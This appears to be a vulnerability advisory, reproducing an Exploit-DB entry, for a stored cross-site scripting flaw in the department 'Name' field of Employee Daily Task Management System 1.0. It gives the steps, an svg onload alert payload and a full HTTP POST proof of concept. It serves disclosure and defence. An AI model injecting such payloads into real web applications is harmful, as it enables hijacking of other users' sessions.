Employee Daily Task Management System 1.0 - 'Name' Stored Cross-Site Scripting (XSS)

vendor:

Employee Daily Task Management System

by:

Ragavender A G

8.8

CVSS

HIGH

Stored Cross-Site Scripting (XSS)

CWE

Product Name: Employee Daily Task Management System

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE: a:sourcecodester:employee_daily_task_management_system:1.0

Metasploit:

Other Scripts:

Platforms Tested: Windows 10

2021

Employee Daily Task Management System 1.0 – ‘Name’ Stored Cross-Site Scripting (XSS)

An attacker can exploit this vulnerability by navigating to the URL http://localhost/edtms/edtms/admin/?page=maintenance and adding a new department with a malicious payload in the 'Name' field. When the department is saved and the page is refreshed, the payload will be triggered.

Mitigation:

Input validation should be used to prevent malicious payloads from being stored in the database.

Source

Exploit-DB raw data:

# Exploit Title: Employee Daily Task Management System 1.0 - 'Name' Stored Cross-Site Scripting (XSS)
# Date: 09/11/2021
# Exploit Author: Ragavender A G
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip

# Version: v1.0

# Tested on: Windows 10

*Exploit:*

1. Navigate to the URL, http://localhost/edtms/edtms/admin/?page=maintenance
2. Add New department with the following value:

   - Name: *<svg/onload=alert(1)>*

3. Save the Department and refresh the page, which should trigger the payload.

*PoC:*

POST /edtms/edtms/Actions.php?a=save_department HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost
Connection: close
Referer: http://localhost/edtms/edtms/admin/?page=maintenance
Cookie: PHPSESSID=bmh8mhmk3r0rksta56msbl7dn3

id=&name=%3Csvg%2Fonload%3Dalert(100)%3E&status=1